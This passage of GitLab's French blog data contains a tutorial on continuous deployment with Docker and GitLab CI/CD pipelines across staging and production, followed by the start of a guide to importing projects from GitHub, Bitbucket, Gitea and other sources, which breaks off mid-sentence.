scénario.\n\n##### Configuration de la machine virtuelle\n\n- Provisionnez une machine virtuelle sur la plateforme de votre fournisseur de services cloud préféré (par exemple, GCP, AWS, Azure).\n- Configurez les règles du réseau pour autoriser l'accès sur les ports 22, 80 et 443.\n- Enregistrez l'adresse IP publique de la machine pour le déploiement.\n\n##### Configuration de l'authentification SSH :\n\n- Générez une paire de clés publique/privée pour la machine.\n- Dans GitLab, accédez à **Paramètres > CI/CD > Variables**.\n- Créez une variable nommée `GITLAB_KEY`.\n- Définissez le type sur « Fichier » (requis pour l'authentification SSH).\n- Collez la clé privée dans le champ Valeur.\n- Définissez une variable USER (utilisateur qui se connecte et exécute les scripts sur votre machine virtuelle).\n\n##### Configuration des variables de déploiement\n\n- Créez des variables pour vos cibles de déploiement :\n  - `STAGING_TARGET` : l'adresse IP/le domaine de votre serveur de préproduction\n  - `PRODUCTION_TARGET` : l'adresse IP/le domaine de votre serveur de production\n\n##### Configuration du développement local\n\n- Installez Docker sur votre machine locale pour tester les déploiements.\n\n##### Accès au registre de conteneurs GitLab\n\n- Localisez votre chemin d'accès au registre :\n  - Accédez à **Déploiement > Registre de conteneurs**.\n- Copiez le chemin d'accès au registre (par exemple, registry.gitlab.com/group/project).\n- Configurez l'authentification :\n  - Accédez au menu **Paramètres > Jetons d'accès**.\n  - Créez un jeton avec un accès au registre.\n  - Expiration du jeton : maximum 1 an.\n  - Enregistrez le jeton de façon sécurisée.\n- Configurez l'accès au registre local :\n\n```\ndocker login registry.gitlab.com\n# The username if you are using a PAT is gitlab-ci-token\n# Password: your-access-token\n```\n\n#### 1. Création de votre application\n\nCommencez avec une application web de base. Dans notre exemple, nous utilisons une page HTML simple :\n\n```\n\u003C!|||UNTRANSLATED_CONTENT_START|||-- index.html -->\n\u003Chtml>\n  \u003Chead>\n    \u003Cstyle>\n      body {\n        background-color: #171321; /* GitLab dark */\n      }\n    \u003C/style>\n  \u003C/head>\n  \u003Cbody>\n    \u003C!|||UNTRANSLATED_CONTENT_END|||-- Your content here -->\n  \u003C/body>\n\u003C/html>\n```\n\n#### 2. Conteneurisation de votre application\n\nCréez un Dockerfile pour empaqueter votre application :\n\n```\nFROM nginx:1.26.2\nCOPY index.html /usr/share/nginx/html/index.html\n```\n\nCe Dockerfile :\n\n- Utilise nginx comme image de base pour diffuser du contenu web\n- Copie votre fichier HTML au bon endroit dans la structure du répertoire nginx\n\n#### 3. Configuration de votre pipeline CI/CD\n\nCréez un fichier `.gitlab-ci.yml` pour définir les étapes de votre [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") :\n\n```\nvariables:\n  TAG_LATEST: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:latest\n  TAG_COMMIT: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:$CI_COMMIT_SHA\n\nstages:\n  - publish\n  - deploy\n```\n\nDécomposons ce code :\n\n`TAG_LATEST` est composé de trois parties :\n\n- `$CI_REGISTRY_IMAGE` est le chemin d'accès au registre des conteneurs de votre projet dans GitLab.\n\nPar exemple : `registry.gitlab.com/your-group/your-project`\n\n- `$CI_COMMIT_REF_NAME` est le nom de votre branche ou tag.\n\nPar exemple, si vous travaillez sur la branche principale : `/main`, et si vous travaillez sur une branche de fonctionnalité : `/feature-login`\n\n- `:latest` est un suffixe fixe.\n\nAinsi, si vous êtes sur la branche principale, `TAG_LATEST` devient `registry.gitlab.com/your-group/your-project/main:latest`.\n\n`TAG_COMMIT` est presque identique, mais au lieu de `:latest`, il utilise : `$CI_COMMIT_SHA`, qui est l'identifiant de commit, par exemple `:abc123def456`.\n\nAinsi, pour ce même commit sur la branche principale, `TAG_COMMIT` devient :` registry.gitlab.com/your-group/your-project/main:abc123def456`.\n\nLa présence de ces deux variables s'explique par le fait que `TAG_LATEST` vous permet facilement de toujours obtenir la version la plus récente. `TAG_COMMIT` vous fournit une version spécifique à laquelle vous pouvez revenir si nécessaire.\n\n#### 4. Publication dans le registre de conteneurs\n\nAjoutez le job de publication à votre pipeline :\n\n```\npublish:\n  stage: publish\n  image: docker:latest\n  services:\n    - docker:dind\n  script:\n    - docker build -t $TAG_LATEST -t $TAG_COMMIT .\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push $TAG_LATEST\n    - docker push $TAG_COMMIT\n```\n\nCe job :\n\n- Utilise Docker-in-Docker pour compiler des images\n- Crée deux versions avec tag de votre image\n- S'authentifie auprès du registre GitLab\n- Effectue un push des deux versions vers le registre \n\nMaintenant que vos images sont stockées de façon sécurisée dans le registre, vous pouvez vous concentrer sur leur déploiement dans vos environnements cibles. Commençons par des tests locaux pour valider notre configuration avant de passer aux déploiements dans l'environnement de production.\n\n#### 5. Déploiement dans votre environnement\n\nAvant le déploiement en production, vous pouvez effectuer un test localement. Nous venons de publier notre image dans le dépôt GitLab, pour lequel nous allons effectuer un pull localement. Si vous ne connaissez pas le chemin d'accès exact, accédez à **Déploiement > Registre de conteneurs**. Vous devriez voir une icône permettant de copier le chemin d'accès de votre image à la fin de la ligne pour l'image de conteneur que vous souhaitez tester.\n\n```\ndocker login registry.gitlab.com \ndocker run -p 80:80 registry.gitlab.com/your-project-path/main:latest\n```\n\nCe faisant, vous devriez être en mesure d'accéder à votre application localement sur votre adresse localhost via votre navigateur web.\n\nVous pouvez maintenant ajouter un job de déploiement à votre pipeline :\n\n```\ndeploy:\n  stage: deploy\n  image: alpine:latest\n  script:\n    - chmod 400 $GITLAB_KEY\n    - apk add openssh-client\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - ssh -i $GITLAB_KEY -o StrictHostKeyChecking=no $USER@$TARGET_SERVER \n      docker pull $TAG_COMMIT &&\n      docker rm -f myapp || true &&\n      docker run -d -p 80:80 --name myapp $TAG_COMMIT\n```\n\nCe job :\n\n- Configure l'accès SSH à votre cible de déploiement\n- Effectue un pull de l'image la plus récente\n- Supprime tout conteneur existant\n- Déploie la nouvelle version\n\n#### 6. Suivi des déploiements\n\nActivez le suivi des déploiements en ajoutant la configuration de l'environnement :\n\n```\ndeploy:\n  environment:\n    name: production\n    url: https://your-application-url.com \n```\n\nCela crée un objet environnement dans la section **Exploitation > Environnements** de GitLab et fournit :\n\n- L'historique de déploiement\n- Le statut de déploiement actuel\n- Un accès rapide à votre application\n\nBien qu'un pipeline d'environnement unique soit un bon point de départ, la plupart des équipes doivent gérer plusieurs environnements, dont des environnements de test et de préproduction. Étoffons notre pipeline pour gérer ce scénario plus réaliste.\n\n#### 7. Configuration de plusieurs environnements\n\nPour obtenir un pipeline plus robuste, configurez les déploiements de préproduction et de production :\n\n```\nstages:\n  - publish\n  - staging\n  - release\n  - version\n  - production\n\nstaging:\n  stage: staging\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_COMMIT_TAG == null\n  environment:\n    name: staging\n    url: https://staging.your-app.com\n  # deployment script here\n\nproduction:\n  stage: production\n  rules:\n    - if: $CI_COMMIT_TAG\n  environment:\n    name: production\n    url: https://your-app.com\n  # deployment script here\n```\n\nCette configuration :\n\n- Effectue un déploiement vers l'environnement de préproduction à partir de votre branche principale\n- Utilise les tags GitLab pour déclencher les déploiements de production\n- Fournit un suivi distinct pour chaque environnement\n\nQue ce soit à cette étape ou à l'étape suivante, nous tirons parti des tags, qui sont une fonctionnalité très utile de GitLab. En créant manuellement un tag dans la section **Code > Tags**, `$CI_COMMIT_TAG` est créé, ce qui nous permet de déclencher des jobs en conséquence.\n\n#### 8. Création de notes de version automatisées\n\nNous utiliserons les fonctionnalités de gestion des versions de GitLab depuis notre pipeline CI/CD. Commencez par mettre à jour les étapes de votre pipeline CI/CD dans `.gitlab-ci.yml` :\n\n```\nstages:\n\n- publish\n- staging\n- release # New stage for releases\n- version\n- production\n```\n\nEnsuite, ajoutez le job de release :\n\n```\nrelease_job:\n  stage: release\n  image: registry.gitlab.com/gitlab-org/release-cli:latest\n  rules:\n    - if: $CI_COMMIT_TAG                  # Only run when a tag is created\n  script:\n    - echo \"Creating release for $CI_COMMIT_TAG\"\n  release:                                # Release configuration\n    name: 'Release $CI_COMMIT_TAG'\n    description: 'Release created from $CI_COMMIT_TAG'\n    tag_name: '$CI_COMMIT_TAG'           # The tag to create\n    ref: '$CI_COMMIT_TAG'                # The tag to base release on\n```\n\nVous pouvez l'améliorer en ajoutant des liens vers vos images de conteneurs :\n\n```\nrelease:\n  name: 'Release $CI_COMMIT_TAG'\n  description: 'Release created from $CI_COMMIT_TAG'\n  tag_name: '$CI_COMMIT_TAG'\n  ref: '$CI_COMMIT_TAG'\n  assets:\n    links:\n      - name: 'Container Image'\n        url: '$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG'\n        link_type: 'image'\n```\n\nPour générer des notes de version automatisées pertinentes :\n\n- Utilisez des commits conventionnels (feat:, fix:, et autres commandes.).\n- Incluez les numéros de ticket (#123).\n- Séparez le sujet du corps par un saut de ligne.\n\nSi vous souhaitez des notes de version personnalisées avec des informations de déploiement :\n\n```\nrelease_job:\n  script:\n    - |\n      DEPLOY_TIME=$(date '+%Y-%m-%d %H:%M:%S')\n      CHANGES=$(git log $(git describe --tags --abbrev=0 @^)..@ --pretty=format:\"- %s\")\n      cat > release_notes.md \u003C\u003C EOF\n      ## Deployment Info\n      - Deployed on: $DEPLOY_TIME\n      - Environment: Production\n      - Version: $CI_COMMIT_TAG\n\n      ## Changes\n      $CHANGES\n\n      ## Artifacts\n      - Container Image: \\`$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\\`\n      EOF\n  release:\n    description: './release_notes.md'\n```\n\nUne fois configurées, les versions sont créées automatiquement lorsque vous ajoutez un tag [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \"). Vous pouvez les afficher dans GitLab sous **Déploiement > Releases**.\n\n#### 9. Assemblage\n\nVoici à quoi ressemble notre fichier YAML final :\n\n```\nvariables:\n  TAG_LATEST: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:latest\n  TAG_COMMIT: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_NAME:$CI_COMMIT_SHA\n  STAGING_TARGET: $STAGING_TARGET    # Set in CI/CD Variables\n  PRODUCTION_TARGET: $PRODUCTION_TARGET  # Set in CI/CD Variables\n\nstages:\n  - publish\n  - staging\n  - release\n  - version\n  - production\n\n# Build and publish to registry\npublish:\n  stage: publish\n  image: docker:latest\n  services:\n    - docker:dind\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_COMMIT_TAG == null\n  script:\n    - docker build -t $TAG_LATEST -t $TAG_COMMIT .\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push $TAG_LATEST\n    - docker push $TAG_COMMIT\n\n# Deploy to staging\nstaging:\n  stage: staging\n  image: alpine:latest\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_COMMIT_TAG == null\n  script:\n    - chmod 400 $GITLAB_KEY\n    - apk add openssh-client\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - ssh -i $GITLAB_KEY -o StrictHostKeyChecking=no $USER@$STAGING_TARGET \"\n        docker pull $TAG_COMMIT &&\n        docker rm -f myapp || true &&\n        docker run -d -p 80:80 --name myapp $TAG_COMMIT\"\n  environment:\n    name: staging\n    url: http://$STAGING_TARGET\n\n# Create release\nrelease_job:\n  stage: release\n  image: registry.gitlab.com/gitlab-org/release-cli:latest\n  rules:\n    - if: $CI_COMMIT_TAG\n  script:\n    - |\n      DEPLOY_TIME=$(date '+%Y-%m-%d %H:%M:%S')\n      CHANGES=$(git log $(git describe --tags --abbrev=0 @^)..@ --pretty=format:\"- %s\")\n      cat > release_notes.md \u003C\u003C EOF\n      ## Deployment Info\n      - Deployed on: $DEPLOY_TIME\n      - Environment: Production\n      - Version: $CI_COMMIT_TAG\n\n      ## Changes\n      $CHANGES\n\n      ## Artifacts\n      - Container Image: \\`$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\\`\n      EOF\n  release:\n    name: 'Release $CI_COMMIT_TAG'\n    description: './release_notes.md'\n    tag_name: '$CI_COMMIT_TAG'\n    ref: '$CI_COMMIT_TAG'\n    assets:\n      links:\n        - name: 'Container Image'\n          url: '$CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG'\n          link_type: 'image'\n\n# Version the image with release tag\nversion_job:\n  stage: version\n  image: docker:latest\n  services:\n    - docker:dind\n  rules:\n    - if: $CI_COMMIT_TAG\n  script:\n    - docker pull $TAG_COMMIT\n    - docker tag $TAG_COMMIT $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker push $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\n\n# Deploy to production\nproduction:\n  stage: production\n  image: alpine:latest\n  rules:\n    - if: $CI_COMMIT_TAG\n  script:\n    - chmod 400 $GITLAB_KEY\n    - apk add openssh-client\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - ssh -i $GITLAB_KEY -o StrictHostKeyChecking=no $USER@$PRODUCTION_TARGET \"\n        docker pull $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG &&\n        docker rm -f myapp || true &&\n        docker run -d -p 80:80 --name myapp $CI_REGISTRY_IMAGE/main:$CI_COMMIT_TAG\"\n  environment:\n    name: production\n    url: http://$PRODUCTION_TARGET\n```\n\nCe pipeline complet :\n\n- Publie des images dans le registre (branche principale)\n- Déploie vers l'environnement de préproduction (branche principale)\n- Crée des versions (lorsqu'un tag est ajouté)\n- Crée des versions d'images avec des tags de version \n- Déploie dans l'environnement de production (lorsqu'un tag est créé)\n\nPrincipaux avantages :\n\n- Environnement de développement et de test local propre et reproductible\n- Chemin d'accès clair vers les environnements de production avec une structure qui renforce la confiance dans ce qui est déployé\n- Modèle pour se remettre de défaillances inattendues, entre autres\n- Possibilité de développement sur cette base et d'adoption de stratégies de déploiement plus complexes\n\n### Bonnes pratiques\n\nTout au long de la mise en œuvre, respectez les principes suivants :\n\n- Documentez tout, de l'utilisation des variables aux procédures de déploiement.\n- Utilisez les fonctionnalités intégrées de GitLab (environnements, releases, registre).\n- Mettez en œuvre des contrôles d'accès et des mesures de sécurité adaptés.\n- Pensez aux éventuelles défaillances en mettant en place des procédures de restauration robustes.\n- Évitez les redondances dans vos configurations de pipeline en suivant le principe DRY (Don't Repeat Yourself).\n\n## Mise à l'échelle de votre stratégie de déploiement\n\nPour terminer, voici quelques aspects à prendre en compte à mesure que votre stratégie de déploiement continu évolue.\n\n### Mesures de sécurité avancées\n\nAméliorez la sécurité grâce aux fonctionnalités suivantes :\n\n- Environnements protégés avec accès restreint\n- Approbations requises pour les déploiements en production\n- Scanning de sécurité intégré\n- Évaluations automatisées des vulnérabilités\n- Règles de protection des branches pour les modifications liées au déploiement\n\n### Stratégies de livraison progressive\n\nMettez en œuvre des stratégies de déploiement avancées :\n\n- Feature flags pour les déploiements contrôlés\n- Déploiements canari pour l'atténuation des risques\n- Stratégies de déploiement bleu-vert\n- Capacités de test A/B\n- Gestion dynamique de l'environnement\n\n### Surveillance et optimisation\n\nMettez en place des pratiques de surveillance robustes :\n\n- Suivi des mesures de déploiement\n- Mise en place d'un suivi des performances\n- Configuration d'alertes de déploiement\n- Établissement d'objectifs de niveau de service (SLO) en matière de déploiement\n- Optimisation régulière du pipeline\n\n## Pourquoi utiliser GitLab ?\n\nLa plateforme GitLab est idéale pour les workflows de déploiement modernes grâce à ses fonctionnalités de déploiement continu. Elle permet de simplifier les étapes menant du code à la production, en offrant un registre de conteneurs intégré, une gestion de l'environnement et le suivi des déploiements au sein d'une seule interface. Les variables propres à l'environnement, les portes d'approbation de déploiement et les fonctionnalités de restauration de GitLab fournissent la sécurité et le contrôle nécessaires aux déploiements en production, tandis que les fonctionnalités telles que les versions temporaires d'applications et les feature flags offrent des approches de livraison progressive. Ces fonctionnalités de déploiement continu font partie intégrante de la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") complète de GitLab et s'intègrent parfaitement à l'ensemble du cycle de vie de vos logiciels.\n\n## Lancez-vous dès aujourd'hui\n\nOpter pour un déploiement continu est une évolution, pas une révolution. Commencez par les fondamentaux, établissez une base solide et intégrez progressivement des fonctionnalités avancées lorsque les besoins de votre équipe augmentent. GitLab fournit les outils et la flexibilité nécessaires pour vous accompagner à chaque étape de ce parcours, de votre premier déploiement automatisé aux pipelines de livraison complexes et multi-environnements.\n\n> [Essayez GitLab Ultimate gratuitement](https://about.gitlab.com/fr-fr/free-trial/devsecops/) et commencez votre déploiement continu dès aujourd'hui.",[1257,110,675,676,1069],{"slug":1833,"featured":6,"template":683},"from-code-to-production-a-guide-to-continuous-deployment-with-gitlab","content:fr-fr:blog:from-code-to-production-a-guide-to-continuous-deployment-with-gitlab.yml","From Code To Production A Guide To Continuous Deployment With Gitlab","fr-fr/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab.yml","fr-fr/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab",{"_path":1839,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1840,"content":1846,"config":1851,"_id":1853,"_type":16,"title":1854,"_source":17,"_file":1855,"_stem":1856,"_extension":20},"/fr-fr/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab",{"title":1841,"description":1842,"ogTitle":1841,"ogDescription":1842,"noIndex":6,"ogImage":1843,"ogUrl":1844,"ogSiteName":841,"ogType":842,"canonicalUrls":1844,"schema":1845},"Premiers pas avec GitLab : comment importer vos projets dans GitLab","Découvrez comment importer vos projets depuis diverses sources, notamment Bitbucket, Gitea, GitHub et GitLab Self-Managed.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097248/Blog/Hero%20Images/Blog/Hero%20Images/blog-getting-started-with-gitlab-banner-0497-option4-fy25_cFwd8DYFLekdnOLmbbChp_1750097247785.png","https://about.gitlab.com/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Premiers pas avec GitLab : comment importer vos projets dans GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2025-01-28\",\n      }\n                  ",{"title":1841,"description":1842,"authors":1847,"heroImage":1843,"date":1829,"body":1849,"category":676,"tags":1850,"updatedDate":1725},[1848],"Abubakar Siddiq Ango","*Bienvenue dans notre nouvelle série d'articles de blog baptisée « Premiers pas avec GitLab », dans laquelle nous aidons les nouveaux utilisateurs à se familiariser avec la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") de GitLab.*\n\nL'importation de projets est une compétence essentielle qui vous permet de tirer le meilleur parti de la plateforme DevSecOps de GitLab. Une fois que vous avez [configuré votre compte](https://university.gitlab.com/pages/getting-started) et invité des utilisateurs que vous avez [organisés](https://about.gitlab.com/fr-fr/blog/getting-started-with-gitlab-how-to-manage-users/) en fonction de votre cas d'utilisation ou de la structure de votre équipe, vous devez importer vos projets existants dans GitLab et commencer à travailler en équipe. Ces projets peuvent inclure des fichiers locaux situés sur votre ordinateur ou hébergés sur une autre plateforme de gestion de code source. Explorons ensemble les options se trouvant à votre disposition.\n\n## Importation de fichiers de projets locaux\n\nVous n'avez pas besoin de repartir de zéro chaque fois que vous importez un projet. Suivez les étapes ci-dessous pour accéder aux projets ou applications GitLab existants, qu'ils utilisent ou non le [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\").\n\n### Projet Git\n\n1. Si Git est [déjà lancé](https://docs.gitlab.com/ee/topics/git/commands.html#git-init) dans votre projet local, créez un projet dans GitLab et obtenez l'URL SSH ou HTTPS en cliquant sur le bouton **Code** en haut à droite de la page de votre projet.\n\n![Créer un projet dans GitLab avec des URL SSH/HTTPS](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097254/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097252717.png)\n\n2. Ouvrez votre terminal et assurez-vous d'être dans le dossier dans lequel se trouve votre projet :\n\n```bash  \ncd /project_folder\n```\n\n3. Sauvegardez votre [serveur origin Git](https://git-scm.com/book/fr/v2/Les-bases-de-Git-Travailler-avec-des-d%c3%a9p%c3%b4ts-distants) existant :\n\n```bash\n\ngit remote rename origin old-origin\n\n```\n\n4. Ajoutez l'URL du [dépôt distant GitLab](https://git-scm.com/book/fr/v2/Les-bases-de-Git-Travailler-avec-des-d%c3%a9p%c3%b4ts-distants) pour le nouveau serveur origin, lors de l'utilisation de SSH :\n\n```bash  \ngit remote add origin [git@gitlab.com](mailto:git@gitlab.com):gitlab-da/playground/abubakar/new-test-repo.git\n```\n\nEt pour HTTPS : \n\n```bash  \ngit remote add origin https://gitlab.com/gitlab-da/playground/abubakar/new-test-repo.git\n```\n\n5. Ensuite, effectuez un push de l'ensemble des [branches](https://docs.gitlab.com/ee/user/project/repository/branches/) et [tags](https://docs.gitlab.com/ee/user/project/repository/tags/) existants vers GitLab :\n\n```bash  \ngit push --set-uptream origin --all  \ngit push --set-uptream origin --tags\n```\n\nL'intégralité des fichiers, branches et tags de votre projet feront l'objet d'un push vers GitLab et vous pourrez commencer à travailler en équipe.\n\n### Projet autre que Git\n\nSi vous n'avez pas lancé Git dans votre projet, vous devez initialiser Git, valider les fichiers existants et effectuer un push vers GitLab comme suit :\n\n```bash  \ngit init --initial-branch=main  \ngit remote add origin git@gitlab.com:gitlab-da/playground/abubakar/new-test-repo.git  \ngit add .  \ngit commit -m \"Initial commit\"  \ngit push --set-upstream origin main  \n```\n\n## Importation à partir de sources en ligne\n\nSi votre projet est hébergé sur GitLab.com ou d'autres plateformes et que vous souhaitez le déplacer vers une autre instance GitLab (comme GitLab Self-Managed) ou d'une autre plateforme vers GitLab.com, GitLab met à votre disposition une fonctionnalité d'importation de projet lorsque vous souhaitez créer un projet.\n\n![Écran Créer un projet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097252718.png)\n\nL'importation d'un projet migre les fichiers associés et certains autres composants du projet en fonction de la source. Vous pouvez importer des projets à partir de différentes sources, notamment Bitbucket, GitHub, Gitea et une instance GitLab. Les sources d'importation sont activées par défaut sur GitLab.com, mais un administrateur doit les [activer pour GitLab Self-Managed](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources). Nous examinerons quelques-unes de ces sources dans les sections suivantes.\n\n![Importer un projet à partir de sources tierces](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097252719.png)\n\n## Sources GitLab\n\nVous pouvez exporter des projets issus des instances GitLab.com et GitLab Self-Managed à l'aide de la fonctionnalité __Exporter le projet__, disponible dans les paramètres du projet concerné. \n\n![Écran Exporter un projet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097252720.png)\n\nVoici comment procéder :\n\n- Accédez aux paramètres de votre projet et cliquez sur **Général**.\n- Faites défiler jusqu'à la section **Paramètres avancés** et développez-la.\n- Sélectionnez **Exporter le projet**.\n- La notification « L'exportation du projet a commencé. Un lien de téléchargement sera envoyé par e-mail et sera disponible sur cette page » s'affiche.\n- Une fois l'exportation générée, vous pouvez suivre le lien contenu dans l'e-mail ou actualiser la page des paramètres du projet pour afficher l'option « Télécharger l'export ».\n\n### Importation du projet\n\n![Importer un projet GitLab exporté](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097252722.png)\n\n- Cliquez sur le bouton **Nouveau projet** dans votre instance GitLab cible.  \n- Sélectionnez **Importer un projet** et cliquez sur **Export GitLab** dans la liste des sources d'importation.  \n- Spécifiez le nom du projet et sélectionnez le fichier d'exportation, puis cliquez sur **Importer un projet**.  \n- Une page « Importation en cours » s'affiche, avant de vous rediriger vers le projet importé.\n\nLe délai nécessaire à l'importation dépend de la taille de votre projet. Vous ne pouvez pas exporter tous les composants d'un projet et certains éléments peuvent changer après l'importation. Pour comprendre les limitations, consultez notre [documentation](https://docs.gitlab.com/ee/user/project/settings/import_export.html#export-a-project-and-its-data). Si vous souhaitez migrer un groupe entier au lieu de projets individuels, la [méthode de transfert direct](https://docs.gitlab.com/ee/user/group/import/index.html) est recommandée, car elle permet de créer une copie d'un groupe entier.\n\n## Fournisseurs tiers\n\nGitLab prend en charge l'importation depuis Bitbucket Cloud, Bitbucket Server, FogBugz, Gitea et GitHub. Le processus d'importation est similaire pour tous les fournisseurs tiers pris en charge, sauf en ce qui concerne la méthode d'authentification. Voyons cela plus en détail.\n\n### GitHub\n\n![Écran Authentification avec GitHub](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097252723.png)\n\nIl existe trois méthodes pour importer des projets GitHub dans GitLab :\n\n- [Utilisation du protocole d'autorisation OAuth de GitHub](https://docs.gitlab.com/ee/user/project/import/github.html#use-github-oauth)\n- [Utilisation d'un jeton d'accès personnel GitHub](https://docs.gitlab.com/ee/user/project/import/github.html#use-a-github-personal-access-token)\n- [Utilisation de l'API](https://docs.gitlab.com/ee/user/project/import/github.html#use-the-api)\n\nLes importations à l'aide du protocole OAuth de GitHub et du jeton d'accès personnel sont similaires. La différence réside dans la façon dont vous autorisez GitLab à accéder à vos dépôts. La méthode OAuth est plus facile : vous cliquez sur le bouton « Autoriser avec GitHub » qui vous redirige alors vers votre compte GitHub pour autoriser la connexion. Ensuite, la liste de vos projets est chargée et vous pouvez choisir ceux que vous souhaitez importer.\n\n![Écran Importer des dépôts depuis GitHub](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097252725.png)\n\nVous pouvez également générer un jeton d'accès personnel GitHub, en sélectionnant les portées `repo` et `read:org`, puis le spécifier sur la page « Import ».  Pour les importations d'API, vous pouvez utiliser le même jeton d'accès personnel avec nos points de terminaison d'[API REST](https://about.gitlab.com/fr-fr/blog/what-is-rest-api/ \"API REST\") dédiés à l'importation dans votre script ou votre application. Pour en savoir plus, [consultez notre documentation](https://docs.gitlab.com/api/import/#import-repository-from-github). \n\nDans cette démonstration, Fernando Diaz, Senior Developer Advocate chez GitLab, explique comment importer un projet depuis GitHub à l'aide de la méthode OAuth :\n\n\u003C!-- blank line -->  \n\u003Cfigure class=\"video_container\"> \n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=esF6wbz2j2JlhDVL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>  \n\u003C/figure>\n\u003C!-- blank line -->\n\nPour en savoir plus, notamment sur les prérequis, les problèmes connus et l'importation depuis GitHub Enterprise, consultez notre [documentation sur l'importation](https://docs.gitlab.com/ee/user/project/import/github.html) de GitLab.\n\n### Bitbucket\n\nL'importation de projets depuis Bitbucket est similaire à l'importation de projets depuis GitHub. Bien que l'utilisation du protocole OAuth s'applique à [Bitbucket Cloud](https://docs.gitlab.com/ee/user/project/import/bitbucket.html), la version SaaS de Bitbucket, vous devez fournir une URL, un nom d'utilisateur et un jeton d'accès personnel pour [Bitbucket Server](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html), la version auto-hébergée pour les entreprises. En cliquant sur l'option Bitbucket Cloud sur l'écran « Import », vous accédez automatiquement à l'authentification Atlassian pour Bitbucket.\n\n![Importer un projet depuis BitBucket](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097252726.png)\n\nVous pouvez également importer des projets Bitbucket à l'aide de l'[API d'importation GitLab](https://docs.gitlab.com/ee/api/import.html).\n\n### Gitea\n\n![Importer un projet depuis Gitea](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097252727.png)\n\nL'importation de projets depuis [Gitea](https://docs.gitlab.com/ee/user/project/import/gitea.html) nécessite de créer un [jeton d'accès personnel](https://docs.gitea.com/next/development/api-usage#authentication-via-the-api) sur la plateforme Gitea, puis de l'indiquer avec l'URL du serveur Gitea sur la page d'importation GitLab. L'authentification OAuth n'est pas prise en charge. \n\n### Dépôt Git générique distant\n\n![Importer un projet à partir d'un dépôt Git distant](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097253/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097252728.png)\n\nLorsque votre fournisseur Git n'est pas pris en charge ou que l'importation n'est pas possible à l'aide des méthodes disponibles, vous pouvez importer un dépôt à l'aide de son URL `https://` ou `git://` accessible.  Si l'URL n'est pas publique, fournissez l'URL du dépôt ainsi que le nom d'utilisateur et le mot de passe (ou le jeton d'accès, le cas échéant, dans le cas d'une authentification multifacteur).\n\nVous pouvez également utiliser cette méthode pour tenir à jour une copie d'un projet distant et la synchroniser, par exemple dans le cadre d'une [mise en miroir](https://docs.gitlab.com/ee/user/project/repository/mirror/). La mise en miroir vous permet de maintenir des dépôts sur différentes plateformes et de 